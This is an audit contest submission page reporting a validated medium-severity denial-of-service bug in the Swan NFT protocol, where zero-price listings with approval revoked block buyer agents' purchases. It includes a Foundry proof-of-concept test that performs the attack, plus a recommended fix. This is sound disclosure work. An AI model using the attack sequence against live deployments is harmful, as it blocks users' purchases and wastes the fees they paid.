Dria

Swan
NFTHardhat
21,000 USDC
View results
Submission Details
Severity: medium
Valid

Buyer Agents can be DOSed from buying Swan NFTs

Summary

The main purpose of the Swan protocol is to allow creators to create NFTs and list them for a specific buyer agent. The buyer agent should buy the Swan NFT that best suits his predefined parameters to continue the simulation. The main purpose of the protocol is for the buyer agent to buy Swan NFTs and continue the simulation, as of now there is no way to trade the Swan assets anywhere else so the buyer agent can't turn profit by selling those assets on a secondary NFT market place for example. DOSing the ability of the buyer agent to buy NFTs for a round is a critical vulnerability, the whole protocol becomes obsolete. A malicious actor can perform this attack for every round, keep in mind frontrunning is not required. However the readme mentions that the protocol can be deployed to all EVM compatible chains, for example on Ethereum frontrunning is possible.

The Swan protocol is compatible with and EVM-compatible chain.

Vulnerability Details

Creating of Swan assets for a specific buyer agent is done via the list() function which is permissionless. And each buyer agent has a maximum number of assets that creators can list for a certain round. A malicious actor can create the maximum number of assets for a specific buyer, setting the price to 0, so he doesn't pay any fees, and then revoke the operator approval of the Swan.sol contract for the NFTs.

Gist

After following the steps in the above mentioned gist add the following test to the AuditorTests.t.sol file:

function test_DOSBuyerAgent() public {
vm.startPrank(alice);
BuyerAgent buyerAgentAlice;
buyerAgentAlice = swanInstance.createBuyer("BigSpender", "SpendBig", uint96(1), 1_000e18);
mockERC20.mint(alice, 1_000e18);
mockERC20.transfer(address(buyerAgentAlice), 1_000e18);
vm.stopPrank();
vm.startPrank(attacker);
swanInstance.list("DOSed", "DOS", "DOSBuyerAgent", 0, address(buyerAgentAlice));
swanInstance.list("DOSed", "DOS", "DOSBuyerAgent", 0, address(buyerAgentAlice));
address[] memory createdNFTs = new address[]();
createdNFTs = swanInstance.getListedAssets(address(buyerAgentAlice), 0);
ERC721(createdNFTs[0]).setApprovalForAll(address(swanInstance), false);
ERC721(createdNFTs[1]).setApprovalForAll(address(swanInstance), false);
vm.stopPrank();
vm.startPrank(alice);
skip(3601);
buyerAgentAlice.oraclePurchaseRequest("0xsomething", "0xsomething");
vm.stopPrank();
vm.startPrank(generator);
bytes memory output = abi.encode(createdNFTs);
LLMOracleCoordinatorInstance.respond(buyerAgentAlice.oraclePurchaseRequests(0), 1, output, "");
vm.stopPrank();
vm.startPrank(alice);
vm.expectRevert(
abi.encodeWithSelector(IERC721Errors.ERC721InsufficientApproval.selector, address(swanInstance), 1)
);
buyerAgentAlice.purchase();
vm.stopPrank();
}

To run the test use: forge test -vvv --mt test_DOSBuyerAgent

Impact

Buyer agents won't be able to progress their simulations as they won't be able to buy any assets in a specific round. This attack can be performed for each round of a specific buyer agent. As I have mentioned earlier this attack doesn't require frontrunning, however according to the readme the protocol should be compatible with all EVM chains. Given that the malicious creator doesn't pay any fees, he will have to pay only for the gas to execute the transactions. The list() function can be called within a multicall, so the max assets for a round is reached. Given that this is the main purpose of the protocol(most probably the only one as well), this vulnerability is of high severity. When the buyer agent calls the oraclePurchaseRequest() function which internally calls the request() function, he will also have to pay fees. When he can't buy the NFTs later on those fees will essentially be lost. It is also possible that a malicious buyer agent creates listings with 0 price for himself so he can proceed with the simulation without paying additional fees to creators.

Tools Used

Manual review & Foundry

Recommendations

Consider setting a minimum price, and/or transferring the NFT to the Swan.sol contract once it is created.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

DOS the buyer / Lack of minimal amount of listing price

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.